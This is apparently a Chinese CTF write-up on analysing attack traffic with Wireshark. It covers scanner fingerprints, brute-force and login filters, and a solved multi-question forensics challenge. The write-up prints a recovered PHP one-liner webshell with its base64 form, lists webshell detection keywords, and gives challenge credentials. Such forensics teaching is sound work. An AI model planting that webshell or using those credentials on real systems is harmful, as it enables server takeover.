流量分析很有意思,之前忙于考试,暂时没有学习了,考试结束了就来总结一下一些CTF下常见的流量分析的题型。
使用wireshark打开流量包发现报错,可以使用在线pacp包修复工具进行修复
http://f00l.de/hacking/pcapfix.php
修复好之后再重新打开,翻了一下发现
这些包中的ID拼凑起来便是flag,可以查看一下
常见的WEB扫描器有Awvs,Netsparker,Appscan,Webinspect,Rsas,Nessus,WebReaver,Sqlmap
有的CTF题会考察攻击者使用的是哪一种扫描器,所以在做这类题之前,先要了解各个扫描器所含的特征
AWVS
#url
acunetix
acunetix_wvs
acunetix_test
#headers
Host: acunetix_wvs_security_test
Cookie: acunetix_wvs_security_test
Cookie: acunetix
Accept: acunetix/wvs
#body
acunetix_wvs_security_test
acunetix
Nessus
#url
nessus
Nessus
#headers
x_forwarded_for: nessus
referer: nessus
host: nessus
#body
nessus
Nessus
等等,详细的就不再列出,可以参考师傅的博客
https://www.77169.net/html/259708.html
https://www.freebuf.com/column/156291.html
既然知道了各个扫描器的特征,就使用如下命令查询
http contains “扫描器特征值”
过滤之后便可以发现明显的awvs的特征,所以黑客使用的扫描器是awvs
涉及到爆破,就要发大量的请求,如黑客使用御剑等工具进行目录扫描,会发送很多请求,因为是在遍历字典中的一些目录,所以捕获到数据包中会有一大片都是扫描目录的而且还是404 Not Found
ip.addr==192.168.32.189 && http contains "404"
当黑客扫描到后台登陆页面时,肯定会先使用万能密码和弱口令进行尝试,而登陆页面一般都是POST
请求,万能密码和弱口令一般都是含有admin
的,而且登陆页面一般是有login
这个关键字的,所以可以利用这些进行过滤。
http.request.method == "POST" && http contains "login"
黑客上传了恶意webshell文件,有的题目通过给出的流量包要求还原出攻击者上传的webshll内容,通常webshell的上传都是POST
方式,而且webshell也分为很多种的,比如最常见的一句话木马,这反而是最简单的一种,有时查看是否含有关键字eval、system、assert
便可以定位到其上传的webshell,但也不是绝对就可以查看到。
http.request.method == "POST" && http contains "关键字"
下面就通过安恒八月月赛流量分析来实践一番
https://pan.baidu.com/s/13SoD6xB7YBiqpUDCIcb8mg
1.某公司内网网络被黑客渗透,请分析流量,给出黑客使用的扫描器
2.某公司内网网络被黑客渗透,请分析流量,得到黑客扫描到的登陆后台是(相对路径即可)
3.某公司内网网络被黑客渗透,请分析流量,得到黑客使用了什么账号密码登陆了web后台(形式:username/password)
4.某公司内网网络被黑客渗透,请分析流量,得到黑客上传的webshell文件名是,内容是什么,提交webshell内容的base编码
5.某公司内网网络被黑客渗透,请分析流量,黑客在robots.txt中找到的flag是什么
6.某公司内网网络被黑客渗透,请分析流量,黑客找到的数据库密码是多少
7.某公司内网网络被黑客渗透,请分析流量,黑客在数据库中找到的hash_code是什么
8.某公司内网网络被黑客渗透,请分析流量,黑客破解了账号ijnu@test.com得到的密码是什么
9.某公司内网网络被黑客渗透,请分析流量,被黑客攻击的web服务器,网卡配置是是什么,提交网卡内网ip
10.某公司内网网络被黑客渗透,请分析流量,黑客使用了什么账号登陆了mail系统(形式: username/password)
11.某公司内网网络被黑客渗透,请分析流量,黑客获得的的ip是多少
查找黑客所使用的扫描器
所以结合上面所说的扫描器的特征进行过滤一下
http contains "acunetix"
黑客扫描到的登陆后台是
如果黑客扫描到后台,一定会进行大量尝试账号密码,一定是以POST方式进行的
http.request.method == "POST"
查看一下TCP流,发现302重定向
所以可以确定黑客扫描到的登陆后台是/admin/login.php?rec=login
黑客使用了什么账号密码登陆了web后台(形式:username/password)
在上面知道了登陆后台是/admin/login.php?rec=login
,而且有302重定向的,所以可以确定黑客登陆的账号和密码,但是观察了好多302
登陆成功的,账号密码也都不一样,所以这里再确定好黑客的IP,看看黑客登陆用的账号密码到底是哪个?
http.request.method == "POST" && http contains "rec=login" && ip.src==192.168.94.59
按时间进行排序,发现最后一条有302重定向
所以可以确定黑客使用的账号和密码是
admin/admin!@#pass123
黑客上传的webshell文件名是,内容是什么,提交webshell内容的base编码
http.request.method == "POST" && ip.src==192.168.94.59 && http
查询一下黑客给服务器都发送了什么
发现一个很可疑的文件a.php
,一般网站是不会命名这样的文件,所以需要注意一下。
base64
解码一下,也没发现有什么作用。但是可以知道的是webshell
是php写的,1234
为传递值,这里查了很久也没有发现是怎么上传进去的,所以可以猜测一下是php一句话木马。
http contains "
tcp contains "
但是很奇怪的是在http
下没有找到
但是在tcp
下却找到了
下次的话如果http不行,就使用tcp,可能是tcp重传的原因,导致http中没追踪到
文件名:a.php
内容是:<?php @eval($_POST[1234]);?>
编码:PD9waHAgQGV2YWwoJF9QT1NUWzEyMzRdKTs/Pg==
黑客在robots.txt中找到的flag是什么
问题中已经给出了线索,即robots.txt
,所以利用这个关键词去查
http contains "robots.txt"
87b7cb79481f317bde90c116cf36084b
也可以通过导出http
对象,在文本过滤器中选择robots.txt
,将文件保存下来
黑客找到的数据库密码是多少
找数据库密码就涉及到三个关键字,分别是mysql、database、password
,可以通过这几个关键字来进行查询
http contains "database"
但是这样过滤的数据还是太多,可以再借助状态码来过滤一下,黑客可以得到mysql数据库的密码,说明是请求文件之后服务器正常返回,也就是状态码200。
http contains "database" && http.response.code==200
数据库密码为:e667jUPvJjXHvEUv
黑客在数据库中找到的hash_code是什么
可以先利用这个关键字查找一下,但是没有发现什么,既然还是关于数据库的,在上面我们已经知道数据库的主机是10.3.3.101
,可以先查这个ip
有什么数据
在第一个数据包中什么也没找到,可以查询第二个数据包
这是发出请求,可以通过查看响应结果来获取hash_code的值
hash_code:d1c029893df40cb0f47bcf8f1c3c17ac
黑客破解了账号[email protected]得到的密码是什么
在webtwo.pcap
这个流量包中,使用分组详情查询,即可查到密码
MD5解密一下即可
被黑客攻击的web服务器,网卡配置是是什么,提交网卡内网ip
回到webone.pcap
这个流量包中,这个问题问的是网卡的配置,一般网卡的名称都为eth0
,所以可以利用这个关键词进行查询
tcp contains "eth0"
追踪一下tcp流,即可发现网卡的相关配置
内网IP为10.3.3.100
黑客使用了什么账号登陆了mail系统(形式: username/password)
先查询下mailtwo.pcap
这个数据包,一开始利用POST和mail过滤了下
http.request.method==POST && http contains "mail"
发现黑客进行大量的登陆尝试,随便找了一个密码,先看看是什么加密的
不是base64,应该是AES加密,但需要找到加密的密钥,所以还是得重新过滤在服务器返回的信息中去查找,就先只过滤一下http,随便找一个状态码为200的追踪下TCP流,在服务器返回的信息中发现
看了师傅的博客,才知道
这是AES的CBC加密,填充格式为ZeroPadding,密钥为字符串1234567812345678的hash值,偏移量为1234567812345678
既然加密方式知道了,下面只需要找到正确的账号密码即可
在过滤了http后,发现第一条数据有logout
,查看了一下Cookie信息,发现了登陆的用户名
在42号数据请求中,发现登录用户为wenwenni,再查看一下返回数据44号中出现{"success":true}
,代表登陆成功。
(http contains "{\"success\":true}" or http.request.method=="POST") and ip.addr==192.168.94.59
发现都是在爆破,而且最后也没有出现成功的,利用这个过滤方法查询第二个包mailtwo1.pcap
从后往前看,18152是登陆成功的返回结果,对应的17126则应该就是正确的加密后的密码
admin/admin!@#PASS123
黑客获得的的ip是多少
在做题之前需要了解下VPN的一些协议,如PPTP
https://blog.csdn.net/zhaqiwen/article/details/10083025
PPTP原理
1.PPTP客户机使用动态分配的TCP端口号,与PPTP服务器使用的保留TCP端口号123建立控制连接
(PPTP控制连接携带PPTP呼叫控制盒管理信息,用于维护PPTP隧道)。
2.客户端与服务器通过控制连接来创建、维护、终止一条隧道。
3.PPP帧的有效载荷经过加密、压缩或是两者的混合处理。
4.使用通用路由封装GRE对PPP帧进行封装。
5.将PPP帧封装进IP数据报文中。通过IP网络如Internet或其他企业准用INTRANET灯发送给PPTP服务器。
6.服务器接收到PPTP数据包后进行常规处理。
此外,还需要了解下SMB服务
SMB服务详解
先打开one.pcap
,发现
one.pcap
应该只是在尝试登陆VPN,再来查看下two.pcap
在统计——>IPV4中发现
10.3.4.96 、10.3.4.55 、10.3.4.3
出现的次数最多
先过滤一下SMB,发现
所以10.3.4.96
是SMB服务器,排除,再来查询下10.3.4.55
ip.addr==10.3.4.55
故因此可以推断是黑客获得VPN的IP是10.3.4.3